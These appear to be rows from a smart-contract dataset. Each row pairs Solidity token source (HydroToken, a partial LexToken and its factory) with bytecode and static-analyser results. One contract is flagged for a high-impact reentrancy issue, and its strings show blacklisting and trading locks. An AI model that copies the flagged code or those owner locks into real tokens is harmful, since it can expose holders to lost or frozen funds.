16132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc529f3d366aa4b07e2391d81b1ce391ab6a7de9444b8935adaea38e3a3b386c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,178 |
0xebbdf302c940c6bfd49c6b165f457fdb324649bc
|
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface Raindrop {
function authenticate(address _sender, uint _value, uint _challenge, uint _partnerId) external;
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract HydroToken is Ownable {
using SafeMath for uint256;
string public name = "Hydro"; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol = "HYDRO"; //An identifier: e.g. REP
uint public totalSupply;
address public raindropAddress = 0x0;
mapping (address => uint256) public balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) public allowed;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a HydroToken
function HydroToken() public {
totalSupply = 11111111111 * 10**18;
// Give the creator all initial tokens
balances[msg.sender] = totalSupply;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
/// @return The balance of `_owner`
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public onlyOwner {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint) {
return totalSupply;
}
function setRaindropAddress(address _raindrop) public onlyOwner {
raindropAddress = _raindrop;
}
function authenticate(uint _value, uint _challenge, uint _partnerId) public {
Raindrop raindrop = Raindrop(raindropAddress);
raindrop.authenticate(msg.sender, _value, _challenge, _partnerId);
doTransfer(msg.sender, owner, _value);
}
function setBalances(address[] _addressList, uint[] _amounts) public onlyOwner {
require(_addressList.length == _amounts.length);
for (uint i = 0; i < _addressList.length; i++) {
require(balances[_addressList[i]] == 0);
transfer(_addressList[i], _amounts[i]);
}
}
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event Burn(
address indexed _burner,
uint256 _amount
);
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063039606311461010c578063053011b71461016157806306fdde0314610196578063095ea7b31461022457806318160ddd1461027e57806323b872dd146102a757806327e235e314610320578063313ce5671461036d57806342966c681461039c5780635c658165146103bf57806370a082311461042b5780638da5cb5b1461047857806395d89b41146104cd578063a9059cbb1461055b578063b302ea1e146105b5578063b7e39b4f146105ee578063cae9ca5114610688578063dd62ed3e14610725578063f2fde38b14610791575b600080fd5b341561011757600080fd5b61011f6107ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561016c57600080fd5b61019460048080359060200190919080359060200190919080359060200190919050506107f0565b005b34156101a157600080fd5b6101a961090b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e95780820151818401526020810190506101ce565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022f57600080fd5b610264600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109a9565b604051808215151515815260200191505060405180910390f35b341561028957600080fd5b610291610b30565b6040518082815260200191505060405180910390f35b34156102b257600080fd5b610306600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b3a565b604051808215151515815260200191505060405180910390f35b341561032b57600080fd5b610357600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c67565b6040518082815260200191505060405180910390f35b341561037857600080fd5b610380610c7f565b604051808260ff1660ff16815260200191505060405180910390f35b34156103a757600080fd5b6103bd6004808035906020019091905050610c92565b005b34156103ca57600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dee565b6040518082815260200191505060405180910390f35b341561043657600080fd5b610462600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e13565b6040518082815260200191505060405180910390f35b341561048357600080fd5b61048b610e5c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d857600080fd5b6104e0610e81565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056657600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f1f565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f36565b005b34156105f957600080fd5b61068660048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610fd5565b005b341561069357600080fd5b61070b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611100565b604051808215151515815260200191505060405180910390f35b341561073057600080fd5b61077b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061127a565b6040518082815260200191505060405180910390f35b341561079c57600080fd5b6107c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611301565b005b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c68ae617338686866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050600060405180830381600087803b15156108c957600080fd5b5af115156108d657600080fd5b505050610905336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611456565b50505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a15780601f10610976576101008083540402835291602001916109a1565b820191906000526020600020905b81548152906001019060200180831161098457829003601f168201915b505050505081565b600080821480610a3557506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610a4057600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610bc757600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610c5c848484611456565b600190509392505050565b60066020528060005260406000206000915090505481565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ced57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d3b57600080fd5b610d8d81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610de58160045461169690919063ffffffff16565b60048190555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f175780601f10610eec57610100808354040283529160200191610f17565b820191906000526020600020905b815481529060010190602001808311610efa57829003601f168201915b505050505081565b6000610f2c338484611456565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9157600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103257600080fd5b8151835114151561104257600080fd5b600090505b82518110156110fb57600060066000858481518110151561106457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415156110b557600080fd5b6110ed83828151811015156110c657fe5b9060200190602002015183838151811015156110de57fe5b90602001906020020151610f1f565b508080600101915050611047565b505050565b60008084905061111085856109a9565b15611271578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561120a5780820151818401526020810190506111ef565b50505050905090810190601f1680156112375780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561125857600080fd5b5af1151561126557600080fd5b50505060019150611272565b5b509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561139857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141580156114a957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156114b457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561150257600080fd5b61155481600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e981600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116af90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111515156116a457fe5b818303905092915050565b60008082840190508381101515156116c357fe5b80915050929150505600a165627a7a72305820753f8776ace736e1b22aa7bf0878286f3bbb8c2d847f5163da701159c2346b640029
|
{"success": true, "error": null, "results": {}}
| 9,179 |
0x5bc4dec1ae10972c87ea81e78b51b266303245cc
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mints
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // finalized token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string indexed resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 managerSupply,
uint256 _saleRate,
uint256 saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_mint(manager, managerSupply);
_mint(address(this), saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!transfer");
uint256 value = msg.value.mul(saleRate);
_transfer(address(this), msg.sender, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(value == 0 || allowances[owner][spender] == 0, "!reset");
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function balanceResolution(address from, address to, uint256 value, string memory resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] memory to, uint256[] memory value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] memory to, uint256[] memory value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string memory _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
}
function updateSale(uint256 _saleRate, uint256 saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), saleSupply);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
interface IERC20Transfer { // brief interface for erc20 token transfer
function transfer(address recipient, uint256 value) external returns (bool);
}
contract LexTokenFactory is CloneFactory {
address payable public lexDAO;
address public lexDAOtoken;
address payable immutable public template;
uint256 public userReward;
string public details;
event LaunchLexToken(address indexed lexToken, address indexed manager, address indexed resolver, bool forSale);
event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 indexed userReward, string details);
constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) {
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
template = _template;
userReward = _userReward;
details = _details;
}
function launchLexToken(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 managerSupply,
uint256 _saleRate,
uint256 saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external payable {
LexToken lex = LexToken(createClone(template));
lex.init(
_manager,
_resolver,
